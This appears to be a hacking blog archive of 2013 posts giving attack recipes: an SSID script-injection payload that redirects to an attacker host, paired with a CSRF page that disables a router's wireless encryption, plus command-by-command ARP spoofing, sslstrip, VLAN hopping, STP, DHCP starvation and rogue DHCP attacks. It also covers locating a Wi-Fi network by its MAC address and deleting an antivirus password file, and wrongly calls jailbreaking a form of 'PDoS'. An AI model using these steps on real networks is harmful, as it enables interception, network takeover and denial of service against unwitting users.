Showing posts with label Hack. Show all posts
Showing posts with label Hack. Show all posts

18 November, 2013

SSID Script Injection

SSID Script Injection
The administrative web interfaces for many wireless access points (APs) provide users with ‘Neighbourhood Wireless Scan’ functionality. 
This functionality scans for all accessible APs and displays the details of any APs which are identified. However, examination of 
these administrative interfaces revealed that a large number of them do not properly sanitise the parameters that are passed to them from any accessible APs.

An attacker could set up a fake AP with a malicious payload in the Service Set Identifier (SSID). 
The malicious SSID would be displayed in the ‘Neighbour’s Access Points Table’ page of the administrative 
interface and would be executed when an administrator scanned for APs.

Circumstances
Device providing an administrative web interface with a ‘Neighbourhood Wireless Scan’ functionality.

Cause
The device administrative web interface does not properly sanitise parameters that are passed to it from identified access points.

Exploitation
An attacker could set up a fake access point broadcasting specially crafted 802.11 ‘beacon’
packets containing a malicious payload in the SSID.

The malicious SSID will be displayed in the ‘Neighbor’s Wireless Networks’ page of the affected device administrative 
interface and will be executed when an administrator scans for wireless access points.

Impact
Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. 
In combination with a CSRF technique an attacker could fully compromise the affected system.
Dependencies
The attacker would need to be in wireless range of the affected device. However, nowadays, antennas are available which can dramatically increase 
the distance that can exist between an attacker and their target
SSIDs have a maximum length of 32 characters and this would not normally be sufficient to inject a usable malicious payload for an attack. 
However, an attacker could set up two fake access points and deliver a payload using the combined content of both SSIDs. 
A payload of 64 characters would be enough to redirect a user’s browser to a malicious web server.

Attack Technique
1. An attacker sets up two fake AP broadcasting specially crafted 802.11 beacon packets containing a malicious payload in the SSID

SSID of the first access point: -

<script>location=/*

SSID of the second access point: -

*/"http://attacker";</script>

A malicious SSID combined together with the use of JavaScript comment tags (/* */) will make the following payload usable in an attack.

<script>location="http://attacker";</script>

2. This malicious SSIDs will be displayed in the 'Neighbour's Wireless' page of the affected device administrative 
interdace and will be executed when an administrator scans for wireless APs

3. The malicious payload references to a script hosted in the attacker's web server. Below it can be seen an example of the 
malicious script hosted in the attacker's web server. This code will vary depending on the affected device.

<html>
<body onload="javascript:document.forms.wpa.submit();">
<form name="wpa" action="http://192.168.1.1/apply.cgi" method="POST">
<input type="hidden" name="submit_button" value="WL_WPATable" />
<input type="hidden" name="action" value="ApplyTake" />
<input type="hidden" name="change_action" value="gozila_cgi" />
<input type="hidden" name="submit_type" value="save" />
<input type="hidden" name="security_varname" />
<input type="hidden" name="security_mode_last" />
<input type="hidden" name="wl_wep_last" />
<input type="hidden" name="filter_mac_value" />
<input type="hidden" name="wl0_security_mode" value="disable" />
</form>
</body>
</html>

4. The malicious script hosted in the attacker's web server is used to perform a CSRF (Cross-site request forgery) attack against the 
affected administrative interface. This script causes the administrator's browser to make a POST request to the wireless encryption 
functionality (apply.cgi) and disables the device's wireless encryption.

Tool: SSID Script Injection
Advisory: DD-WRT SSID Script Injection Vulnerability 
Demo: DD-WRT SSID Script Injection Attack
White paper: Behind Enemy Lines 

09 November, 2013

Find Physical Location via MAC Address

C:\Users\Test> netsh wlan show networks mode=bssid

Nombre de interfaz : Conexión de red inalámbrica
Actualmente hay 1 redes visibles.

SSID 1 : Root
    Tipo de red             : Infraestructura
    Autenticación           : WPA2-Personal
    Cifrado                 : CCMP
    BSSID 1                 : 00:13:xx:xx:xx:xx
    Señal                   : 100%
    Tipo de radio           : 802.11n
    Canal                   : 11
    Veloc básicas (Mbps)    : 1 2 5.5 11
    Otras velocidades (Mbps): 6 9 12 18 24 36 48 54

Search on google

https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&wifi=mac:[00:13:xx:xx:xx:xx]|ssid:[Root]|ss:[100]&wifi=mac:[00:13:xx:xx:xx:xx]|ssid:[Root]|ss:[100]

Output is location Info: 

{
   "accuracy" : 12xxxx,
   "location" : {
      "lat" : 41.xxxxxx,  <--
      "lng" : 2.xxxxxx    <--
   },
   "status" : "OK"
}

Shearch Again:  [lat] [lng]


02 November, 2013

STP Root Attack Yersinia

Start Yersinia Daemon
root@bt:~#yersinia -D

Connect to Daemon (By Default: telnet [IP] [12000])
root@bt:~#telnet localhost 12000

Chose Interface
yersinia@bt:~# set stp interface eth0

Choose Attack Type
yersinia@bt:~# stp -attack 4 (Sends Fake BPDU Packets)

Change Detected
Normal BPDU Packet Before Attack
Fake BPDU Packet After Attack

It´s Change MAC Address 00:1d:45:a8:40:80 to 00:1d:45:a7:40:80

Done!!!

ARP Spoof

ARP Spoofing

Hacker HWaddr 00:21:85:96:10:4d
Hacker addr:  10.0.101.102

Victim 1 : addr: 10.0.101.103 (Client)
victim 2 : addr: 10.0.101.3     (GW)
Start Routing

root@bt:# cat /proc/sys/net/ipv4/ip_forward 
0

root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward 
root@bt:~# cat /proc/sys/net/ipv4/ip_forward 
1

ARP Spoof Attack

root@bt:~# arpspoof -i eth0 -t 10.0.101.3 10.0.101.103

0:21:85:96:10:4d 0:0:c:7:ac:1 0806 42: arp reply 10.0.101.103 is-at 0:21:85:96:10:4d

root@bt:~# arpspoof -i eth0 -t 10.0.101.103 10.0.101.3 

0:21:85:96:10:4d 0:21:85:96:10:56 0806 42: arp reply 10.0.101.3 is-at 0:21:85:96:10:4d

Victim 
Before:

C:\Documents and Settings\Administrador> arp -a

No se encontraron entradas ARP
After:

C:\Documents and Settings\Administrador> arp -a

Interfaz: 10.0.101.103
Dirección IP             Dirección física          Tipo
10.0.101.3               00-21-85-96-10-4d        dinámico
10.0.101.102             00-21-85-96-10-4d        dinámico

DTP Hack (Yersinia)

DTP Attack

To start DTP attack open Yersinia in Backtrack

root@bt:~# yersinia -G  (Grafic interface)
 
Click "Lunch Attack" and select DTP protocol 

in menu choose "Enabling Trunking" and click OK 


Before 
After 

Now we can recive traffic from any VLAN.

Make different interfacec per VLAN

Start  802.1q Encapsulation

root@bt:~# modprobe 8021q

root@bt:~# vconfig add eth0 101 (Where 101 is VLAN 101)
root@bt:~# vconfig add eth0 102 (Where 102 is VLAN 102)

Note: Its create Subinterfaces eth0.101,eth0.102

Set IP address for VLAN

root@bt:~# ifconfig eth0.101 10.0.101.111 netmask 255.255.255.0
root@bt:~# ifconfig eth0.102 10.0.102.111 netmask 255.255.255.0

Configure Default GW

root@bt:~# route add default gw 10.0.102.3

Check interfaces

root@bt:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:21:85:96:10:4d  
          inet addr:10.0.10.111  Bcast:10.0.10.255  Mask:255.255.255.0
          inet6 addr: fe80::221:85ff:fe96:104d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2798550 errors:0 dropped:1828 overruns:0 frame:0
          TX packets:6565 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:224944578 (224.9 MB)  TX bytes:694407 (694.4 KB)
          Interrupt:42 Base address:0x6000 

eth0.101  Link encap:Ethernet  HWaddr 00:21:85:96:10:4d  
          inet addr:10.0.101.111  Bcast:10.0.101.255  Mask:255.255.255.0
          inet6 addr: fe80::221:85ff:fe96:104d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2779 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:146312 (146.3 KB)  TX bytes:468 (468.0 B)

eth0.102  Link encap:Ethernet  HWaddr 00:21:85:96:10:4d  
          inet addr:10.0.102.111  Bcast:10.0.102.255  Mask:255.255.255.0
          inet6 addr: fe80::221:85ff:fe96:104d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3506 errors:0 dropped:0 overruns:0 frame:0
          TX packets:547 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:514881 (514.8 KB)  TX bytes:42753 (42.7 KB)

Now We can Capture different VLAN traffic.

25 October, 2013

sslstrip

Start Forwarding 
root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward 

Configure iptables
root@bt:~# iptables --flush
root@bt:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

Run sslstrip
root@bt:~# cd /pentest/web/sslstrip/
root@bt:/pentest/web/sslstrip# python sslstrip.py -w Log &

Network Scan
root@bt:~# netdiscover -i eth0 -r 192.168.1.1/24 

ARP Spoofing
root@bt:~# arpspoof -i eth2 -t (ClientIP) (RouterIP) &

DHCP Starvation and Rogue DHCP Server

Download and Instal dhcpstarv <.>

root@bt:~# tar xvfz dhcpstarv-0.2.1.tar.gz
root@bt:~# cd dhcpstarv-0.2.1
root@bt:dhcpstarv-0.2.1# ./configure
root@bt:dhcpstarv-0.2.1# make
root@bt:dhcpstarv-0.2.1# make install

Start Attack 
root@bt:# dhcpstarv [-i Interface] [-e Exclude]
Ejample: 
root@bt:~# dhcpstarv -v -i eth2 -e 10.0.10.2

Download DHCP Server
root@bt:~# apt-get install dhcp3-server -y

Make Backup File
root@bt:~# cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.config.backup

Set your DHCP Pool Information
root@bt:~# vi /etc/dhcp3/dhcpd.conf

ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option domain-name "microsoft.com";
option broadcast-address 192.168.2.255;
option routers 192.168.2.1;
option domain-name-servers 8.8.8.8;
range 192.168.2.51 192.168.2.100;
}

Tell DHCP wich configuration to use
root@bt:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid eth0

Start DHCP Server
root@bt:~# /etc/init.d/dhcp3-server start

01 October, 2013

Delete Avast Passwords From Windows

If you want to delete avast password you need to download Simple Software

Software:  IObitUnlocker 

Delete Avast Password

The password you need to delete is saved in hidden folder



Go To Avast Config files and search: aswResp.dat  (this is file with contains password)



Open  IObitUnlocker and drop this .dat file in window



Select file and click Unlock & Delete

Now you can desactivate Avast



10 June, 2013

DHCP Starvation Attack Using Yersinia

DHCP Starvation Attack



Configure Cisco Router as DHCP 
R1(config)#ip dhcp excluded-address 192.168.1.1 192.168.1.10
R1(config)#ip dhcp pool MYPOOL
R1(dhcp-config)#default-router 192.168.1.1
R1(dhcp-config)#dns-server 192.168.1.1
R1(dhcp-config)#domain-name microsoft.com
R1(dhcp-config)#network 192.168.1.0 /24
R1(dhcp-config)#exit

Configure Interface 
R1(config)#interface fastEthernet 0/0
R1(config-if)#ip address 192.168.1.1 255.255.255.0
R1(config-if)#no shutdown

Verify Configuration 
R1#show ip dhcp binding
Bindings from all pools not associated with VRF:
IP address          Client-ID/              Lease expiration        Type
                    Hardware address/
                    User name
192.168.1.11        0108.0027.5351.11       Mar 02 2002 12:04 AM    Automatic
192.168.1.12        0102.004c.4f4f.50       Mar 02 2002 12:08 AM    Automatic

R1#show ip dhcp pool
Pool MYPOOL :
 Utilization mark (high/low)    : 100 / 0
 Subnet size (first/next)       : 0 / 0
 Total addresses                : 254
 Leased addresses               : 2
 Pending event                  : none
 1 subnet is currently in the pool :
 Current index        IP address range                    Leased addresses
 192.168.1.12         192.168.1.1      - 192.168.1.254     1

R1#show ip dhcp server statistics
Memory usage         24329
Address pools        1
Database agents      0
Automatic bindings   2
Manual bindings      0
Expired bindings     0
Malformed messages   0
Secure arp entries   0

Message              Received
BOOTREQUEST          0
DHCPDISCOVER         2
DHCPREQUEST          2
DHCPDECLINE          0
DHCPRELEASE          0
DHCPINFORM           2

Message              Sent
BOOTREPLY            0
DHCPOFFER            2
DHCPACK              4
DHCPNAK              0
We Have only 2 DHCP Client.

Now Get Start The DHCP Discovery Attack Using Yersinia 0.7.1 .

Verify Interface Configuration 
root@bt:~# ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 08:00:27:9d:cb:38
          inet addr:192.168.1.2  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe9d:cb38/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1011 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2638752 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:153749 (153.7 KB)  TX bytes:753163338 (753.1 MB)
          Interrupt:10 Base address:0xd020

root@bt:~# yersinia -G 



Opens Graphical Interface 

Click "Lunch attack"

Select "DHCP" And Than "Send DISCOVERY Packet"
Now Cheack Router 

Monitor and Verify Cisco Router 
R1#debug ip dhcp server packet
*Mar  1 00:30:44.043: DHCPD: Sending DHCPOFFER to client b870.fe70.9c15 (192.168.1.64).
*Mar  1 00:30:44.047: DHCPD: broadcasting BOOTREPLY to client b870.fe70.9c15.
*Mar  1 00:30:44.087: DHCPD: DHCPDISCOVER received from client 33d7.f461.f513 on interface FastEthernet0/0.
*Mar  1 00:30:44.095: DHCPD: Allocate an address without class information (192.168.1.0)
R1#un all

R1#show ip dhcp pool
Pool MYPOOL :
 Utilization mark (high/low)    : 100 / 0
 Subnet size (first/next)       : 0 / 0
 Total addresses                : 254
 Leased addresses               : 244
 Pending event                  : none
 1 subnet is currently in the pool :
 Current index        IP address range                    Leased addresses
 0.0.0.0              192.168.1.1      - 192.168.1.254     244

R1#show ip dhcp server statistics
Memory usage         55845
Address pools        1
Database agents      0
Automatic bindings   132
Manual bindings      0
Expired bindings     124
Malformed messages   0
Secure arp entries   0

Message              Received
BOOTREQUEST          0
DHCPDISCOVER         5424
DHCPREQUEST          2
DHCPDECLINE          0
DHCPRELEASE          0
DHCPINFORM           2

Message              Sent
BOOTREPLY            0
DHCPOFFER            256
DHCPACK              4
DHCPNAK              0

R1#show ip dhcp binding
Bindings from all pools not associated with VRF:
IP address          Client-ID/              Lease expiration        Type
                    Hardware address/
                    User name
192.168.1.11        0108.0027.5351.11       Mar 02 2002 12:04 AM    Automatic
192.168.1.12        0102.004c.4f4f.50       Mar 02 2002 12:08 AM    Automatic
192.168.1.39        6909.b30f.bfae          Mar 01 2002 12:43 AM    Automatic
<Lines Omitted>
192.168.1.253       5084.9a4f.901e          Mar 01 2002 12:42 AM    Automatic
192.168.1.254       6440.0969.6d16          Mar 01 2002 12:42 AM    Automatic

All Pool Addresses are used.

 Done !

##########################################################################################################

21 April, 2013

DoS Methods – PDoS, Permanent DoS attacks


A PDoS or permanent denial-of-service, also referred to as phlashing, is a severe attack that completely damage a system as a result of which the system’s reinstallation of hardware or replacement is required. A PDoS attack exploits the flaws of security which further permits the administration present far away on the hardware of the victim management interfaces, like printers, routers, or other hardware used for networking.


If you have any kind of iPhone or similar device, it’s very likely that you have hear or made the jailbreak process in order to be able to control your device better that the manufacter wants you to. After flashing the device hardware limitations and software limitations by replacing some ROM record, you are able to install not aproved apps, set the settings that the normal device is not able to do. All these functions made possible by jeilbreaking the phone are in a good way named PDoS. Permanent denial of service will change the hardware settings in the deep and closed ROM level and allow the hardware to do some new and maybe prohibited task that were limited by the manufacturer. In some other form, the PDoS will use the same technique to destroy the functionality of some hardware component in order to blemish the overall function of the device.

The PDoS is a kind of attack in which hardware is purely targeted and it does not require many resources. It’s a fast attack. Many mushroom hackers are attracted towards this method because of its features, and the potential that it holds for high probability of security exploits on Network Enabled Embedded Devices (NEEDs). A PDOS attack damages a system so badly that it requires replacement or reinstallation of hardware. Unlike the infamous distributed denial-of-service or short DDOS attack which is used to sabotage a service or Website or as a cover for malware delivery — PDOS is pure hardware sabotage.

An anecdote is saying that in the year 2008 at the EUSecWest Applied Security Conference in London an employee of Hewlett-Packard’s Systems Security Lab namely Rich Smith created a tool called PhlashDance in order to detect as well as demonstrate the vulnerabilities of PDoS.

DoS Methods – ICMP and SYN flood, Teardrop and Low-rate DoS attacks


ICMP flood
Smurf attack is one specific form of a flooding DoS attack that occurs on the public Internet. It solely depends on incorrect configuration network equipments that permit packets that are supposed to be sent to all hosts of computer on a specific network not via any machine but only via network’s broadcast address. Then the network actually works or serves as a smurf amplifier. In an attack like this, the killers or the perpetrators will send IP packets in huge number displaying the fake source address as to show that it is a victim’s address. The bandwidth of the network is consumed quite quickly, and it also stops legal packets from reaching their destination. In order to fight against Denial of Service attacks on the Internet, there are services such as the Smurf Amplifier Registry that have given the ability to the internet service providers to identify the networks with incorrect configuration and also to take the right action like filtering.

Ping flood is a method that relies on sending a large number of ping packets to the victim, and this is done by using the “ping” command from unix-like hosts (on Window systems the function of -t flag is less poisonous/   malignant). Launching it is quite simple, as it requires access to more bandwidth than the victim.

Ping of death is another method that is based on sending a malformed ping packet to the victim, as a result of which the system can crash.

SYN flood
SYN flood is a result of TCP/SYN packets flooding sent by host, mostly with a fake address of the sender. The handling of these packets is done in the same manner like connection request, which makes the server to produce a semi-open connection, as it sends TCP/SYN-ACK packet back (Approve/Acknowledge), and waits for a packet to be received as a response from the address of a sender (ACK Packet’s response). Actually the sender never responds as his address is not real. The saturation of available connections takes place by the semi-open connections that the server can actually make, so that it cannot respond to legal requests even after the attack is over.

Teardrop attacks
In case of a Teardrop attack the injured IP fragments are sent to the target machine with expanded, overlapping, payloads. As there is a bug in the TCP/IP fragmentation re-assembly code so this can result in crashing different operating systems. Some operating systems that are vulnerable to this attack includes   Windows 3.1x, Windows 95 and Windows NT operating systems, as well as Linux versions (prior to versions 2.0.32 and 2.1.63).

Low-rate Denial-of-Service attacks
The Low-rate DoS (LDoS) this type of attack actually exploits the TCP’s slow-time-scale dynamics of Retransmission Time-Out (RTO) mechanisms so that it reduces TCP’s output. Attacker can make the repeated entry of a TCP flow to a RTO state as the attacker can send the bursts at high-rate within short-duration, and this can be repeated periodically at slower retransmission time-out time-scales. This results in reduced output of TCP.